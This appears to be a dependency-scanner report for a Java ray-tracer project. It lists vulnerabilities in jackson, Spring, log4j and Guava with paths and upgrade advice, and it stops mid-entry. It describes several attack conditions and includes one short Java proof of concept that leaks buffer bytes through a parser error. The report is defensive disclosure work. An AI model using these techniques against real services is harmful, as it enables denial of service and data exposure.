  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.18.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.18.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.18.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.18.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.18.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via static resource resolution. An attacker can cause denial of service by sending crafted requests that are slow to resolve when accessing file-system-backed static resources, causing HTTP connections to remain occupied and exhausting server resources.

Note: This is only exploitable if all the following are true:

  1. The application uses Spring MVC or Spring WebFlux.

  2. Static resources are served from the file system.

  3. The application is running on Windows.

Remediation

Upgrade org.springframework:spring-core to version 6.2.18, 7.0.7 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Alternative Remediation

If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:

  • Disable/remove JDBCAppender
  • If JDBCAppender is used, make sure that it is not configured to use any protocol other than Java

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.24.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.14.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the JsonNode.toString() method, which serializes nested node structure recursively without a depth limit. An attacker can crash the application with a StackOverflowError by submitting deeply nested JSON, around 1000 levels in a payload of roughly 2 kB, to a service that parses it with ObjectMapper.readTree() and then serializes the result through JsonNode.toString().

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.14.0-rc1 or higher.

References

medium severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.3.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

Workaround

This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

References

medium severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.4.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component when configured through the verifyHostName attribute of the <Ssl> element. An attacker can intercept and manipulate network traffic by presenting a certificate issued by a trusted certificate authority to the appender's configured trust store, or the default Java trust store if none is configured. This is only exploitable if an SMTP, Socket, or Syslog appender is in use and TLS is configured via a nested element.

Note:

This issue is due to incomplete fix for CVE-2025-68161.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) when using JDK serialization to serialize and deserialize JsonNode values. It is possible for the attacker to send a 4-byte length payload, with a value of Integer.MAX_VALUE , that will eventually cause large buffer allocation and out of heap memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.13.1, 2.12.6 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.22.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.22.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Denial of Service (DoS) if it relies on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-beans to version 5.2.22.RELEASE, 5.3.20 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.23.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.5.1 and com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-core@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.13.0.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1 com.fasterxml.jackson.core:jackson-core@2.10.5
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.13.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.

Workaround

This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.

PoC


byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Input Validation when a user provides malicious input, causing insertion of additional log entries.

Remediation

Upgrade org.springframework:spring-core to version 5.2.19.RELEASE, 5.3.14 or higher.

References

medium severity

Improper Output Neutralization for Logs

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Output Neutralization for Logs when a user provides malicious input, causing insertion of additional log entries.

Remediation

Upgrade org.springframework:spring-core to version 5.3.12, 5.2.18 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.21.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.

Remediation

Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.

References

low severity

Creation of Temporary File in Directory with Insecure Permissions

  • Vulnerable module: com.google.guava:guava
  • Introduced through: com.google.guava:guava@30.0-android

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.google.guava:guava@30.0-android
    Remediation: Upgrade to com.google.guava:guava@32.0.0-android.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.

NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.

Remediation

Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-context to version 6.1.14 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
